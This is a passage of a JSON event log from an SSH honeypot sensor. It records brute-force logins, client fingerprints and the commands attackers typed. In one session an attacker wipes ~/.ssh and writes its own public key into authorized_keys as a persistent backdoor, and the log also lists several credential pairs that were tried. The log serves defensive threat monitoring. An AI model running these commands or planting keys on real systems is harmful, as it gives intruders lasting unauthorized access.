2-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:24.669728Z","src_ip":"87.106.29.151","session":"8def0fececcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:25.088366Z","src_ip":"87.106.29.151","session":"8def0fececcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:26.187510Z","src_ip":"87.106.29.151","session":"8def0fececcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":33732,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0b8f1e6bf61","protocol":"ssh","message":"New connection: 87.106.29.151:33732 (10.17.0.5:22) [session: d0b8f1e6bf61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:26.273876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:26.278270Z","src_ip":"87.106.29.151","session":"d0b8f1e6bf61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:26.372165Z","src_ip":"87.106.29.151","session":"d0b8f1e6bf61","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:26.786375Z","src_ip":"87.106.29.151","session":"d0b8f1e6bf61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:26.885888Z","src_ip":"87.106.29.151","session":"d0b8f1e6bf61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:26.890398Z","src_ip":"87.106.29.151","session":"ace49d1e0dfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.520468950271606,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:27.304866Z","src_ip":"103.83.233.129","session":"57fe19e95f50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":57126,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbca7ac018c3","protocol":"ssh","message":"New connection: 2.57.122.208:57126 (159.203.135.109:22) [session: cbca7ac018c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:31.723336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:31.924547Z","src_ip":"2.57.122.208","session":"cbca7ac018c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:32.036041Z","src_ip":"2.57.122.208","session":"cbca7ac018c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:33.026931Z","src_ip":"2.57.122.208","session":"cbca7ac018c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:34.225729Z","src_ip":"2.57.122.208","session":"cbca7ac018c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":55120,"dst_ip":"10.17.0.5","dst_port":22,"session":"e267cc0ce5c2","protocol":"ssh","message":"New connection: 103.15.226.202:55120 (10.17.0.5:22) [session: e267cc0ce5c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:57.497639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:57.539997Z","src_ip":"103.15.226.202","session":"e267cc0ce5c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:57.795170Z","src_ip":"103.15.226.202","session":"e267cc0ce5c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Avcon@200433!","message":"login attempt [root/Avcon@200433!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:58.536728Z","src_ip":"103.15.226.202","session":"e267cc0ce5c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:59.787283Z","src_ip":"103.15.226.202","session":"e267cc0ce5c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":47736,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f4805d8e944","protocol":"ssh","message":"New connection: 87.106.29.151:47736 (10.17.0.5:22) [session: 1f4805d8e944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:17.344872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:17.349706Z","src_ip":"87.106.29.151","session":"1f4805d8e944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:17.443838Z","src_ip":"87.106.29.151","session":"1f4805d8e944","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"founderbn","message":"login attempt [oracle/founderbn] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:17.850694Z","src_ip":"87.106.29.151","session":"1f4805d8e944","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:18.073176Z","src_ip":"87.106.29.151","session":"1f4805d8e944","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:18.076379Z","src_ip":"87.106.29.151","session":"1f4805d8e944","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:18.079370Z","src_ip":"87.106.29.151","session":"1f4805d8e944","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:18.176692Z","src_ip":"87.106.29.151","session":"1f4805d8e944","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:18.404413Z","src_ip":"87.106.29.151","session":"1f4805d8e944","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:18.407548Z","src_ip":"87.106.29.151","session":"1f4805d8e944","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:18.506793Z","src_ip":"87.106.29.151","session":"1f4805d8e944","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:18.510534Z","src_ip":"87.106.29.151","session":"1f4805d8e944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":46226,"dst_ip":"10.17.0.5","dst_port":22,"session":"4207bb99b6b2","protocol":"ssh","message":"New connection: 87.106.29.151:46226 (10.17.0.5:22) [session: 4207bb99b6b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:18.593478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:18.598085Z","src_ip":"87.106.29.151","session":"4207bb99b6b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:18.689508Z","src_ip":"87.106.29.151","session":"4207bb99b6b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:19.094817Z","src_ip":"87.106.29.151","session":"4207bb99b6b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:20.189789Z","src_ip":"87.106.29.151","session":"4207bb99b6b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":46230,"dst_ip":"10.17.0.5","dst_port":22,"session":"305d2b75e950","protocol":"ssh","message":"New connection: 87.106.29.151:46230 (10.17.0.5:22) [session: 305d2b75e950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:20.287106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:20.291662Z","src_ip":"87.106.29.151","session":"305d2b75e950","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:20.388306Z","src_ip":"87.106.29.151","session":"305d2b75e950","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:20.794880Z","src_ip":"87.106.29.151","session":"305d2b75e950","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:20.892184Z","src_ip":"87.106.29.151","session":"1f4805d8e944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:20.896852Z","src_ip":"87.106.29.151","session":"305d2b75e950","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":55268,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cff18870ec7","protocol":"ssh","message":"New connection: 138.124.158.150:55268 (10.17.0.5:22) [session: 1cff18870ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:29.918714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:30.070467Z","src_ip":"138.124.158.150","session":"1cff18870ec7","protocol":"ssh"}
